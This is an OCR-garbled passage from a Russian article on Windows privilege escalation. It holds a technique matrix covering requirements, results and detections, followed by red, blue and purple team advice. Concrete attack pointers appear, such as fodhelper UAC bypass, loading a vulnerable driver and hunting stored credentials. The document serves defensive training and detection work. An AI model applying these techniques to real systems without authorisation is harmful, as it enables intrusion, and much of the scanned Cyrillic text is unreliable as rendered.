16. MaTpuiia: TEXHHUKH privesc



TexHHUKa

Unquoted Service Path Write access to path
Weak Service Perms

AlwaysInstallElevated Registry misconfiguration

Potato (Named Pipe)

DLL Hijacking

Scheduled Task Abuse

Registry AutoRun

PATH Hijacking

BYOVD Token Theft

COM Hijacking

Token Manipulation

Stored Credentials

UAC Bypass

Tpebyert

Pe3ynbTar
SYSTEM

SERVICE CHANGE CONFIG SYSTEM

SelmpersonatePrivilege

Write to search path

Writable task binary
Writable AutoRun entry

Writable PATH directory

Admin (driver load)

HKCU write

SeDebugPrivilege
File read access

Admin group (non-elevated)

SYSTEM
SYSTEM

Target process
privs

SYSTEM
Logon user privs
Varies

SYSTEM/Kernel

Target process
privs

SYSTEM

Admin password

High integrity

IleTeKT
Service path audit
Service ACL audit
Registry
monitoring

Pipe creation +
impersonation

Sysmon 7,
unsigned DLL
load

Task binary
integrity
AutoRun
monitoring

PATH directory
ACL audit

Driver load audit,
HVCI

CLSID monitoring

Privilege use audit
File access audit

Registry key
monitoring

17. PekomMeHnpauu

IIns Red Team

» Haynu c enumeration: whoami /priv — ecnu ects Selmpersonate — Potato

MT'HOBEHHO

« [IpoBeps cepBuck: unquoted paths + weak permissions — caMblil 9aCTEId BEKTOP
e DLL hijacking: 3anyctu Process Monitor ot agmuna, uam NAME NOT FOUND

» Stored credentials: Unattend.xml, web.config, PowerShell history

» UAC bypass: fodhelper/computerdefaults ecnu 103ep B Administrators
* BYOVD: ecnu yxke admin, Ho HykeH SYSTEM — 3arpy3u ysi3BUMBI IpaliBep



IIns Blue Team

« Service hardening: kaBruKY B myTsix, MuHUManbHEE ACL, no writable binaries

« Principle of Least Privilege: y6pats Selmpersonate rfe He HyKeH

» HVCI + Driver Blocklist: 6mokuposats BYOVD

» UAC Ha Maximum: Always Notify + no auto-elevation ast TpeTbUX CTOPOH

e Credential Guard: 3ammuTta LSA secrets ot gamma

o LAPS: yHUKaJbHBEIE TTAaPOJIM JTOKAJIbHBEIX aMUHOB

e Sysmon: Event ID 1 (process create), 7 (DLL load), 11 (file create), 13 (registry)
o Aymut mpusuneruit: Event ID 4672 (special privileges), 4673 (privileged service)

IInsg Purple Team

o IIporonuTe Bce 13 TeXHUK U3 MaATPUIILI IIPOTUB Ballleil CUCTEMBI

e UuctpymenTtsl: WinPEAS, PowerUp, BeRoot, SharpUp — aBTOMaTuueckuii enum

o [7151 KaXXO0T0 HalileHHOT 0 BEKTOpa — CO3[alTe AeTeKT-IpaBuio u remediation

e MITRE ATT&CK: T1548 (Abuse Elevation), T1574 (Hijack Execution Flow), T1134
(Access Token Manipulation), T1547 (Boot/Logon Autostart)

3aKmo4YeHue

[ToBrienue mpuBuneruit B Windows — 3To B mepByto ouepens misconfiguration hunting.
Taxe B 2026 roqy 00IBIIMHCTBO Privesc BeKTOpoB — 3To He 0-day, a omubku
KOH(pUTypaluu: He3aKaBbhUeHHbIe TyTH, criabbie ACL Ha cepBucax, 3a0biThie credentials,
writable gupextopuu B PATH. ABToMaTu3rupoBanHbii aynuT (WinPEAS, PowerUp) Haxomgut
9THU MPOOIEMHI 3a CEKYHIHI.

[7s 3alMTHUKOB KiTtoyeBoy mpuHuun — Least Privilege: MunuManbHbIE ITpaBa,
MUHUMAaJlbHbIEe TTPUBUJIETHH, ayAUT BCET0 YTO MOXKET OBITh UCIIOIH30BaHO A escalation.
HVCI, Credential Guard, LAPS — Tpu TeXHOJIOTUM KOTOPbIE 3aKPHIBAIOT OOIBIIMHCTBO
advanced-BeKTOpOB.

Huckmernmep: Mareprail IpenocTaBieH HCKIIOYHTEIbHO B 00pa30BaTe/IbHAIX I[e/IIX IS
CIIenHaIHCTOB IT0 HHPOPMAIJHOHHOH 0e3011aCHOCTH. Hcrmoap3yHTe Mo/IyYeHHbIe 3HAHHA
TOJIFKO B paMKax aBTOPH30BAHHOTO TECTHPOBAHHS HA IIDOHUKHOBEHHE H 3aIIJHTEI
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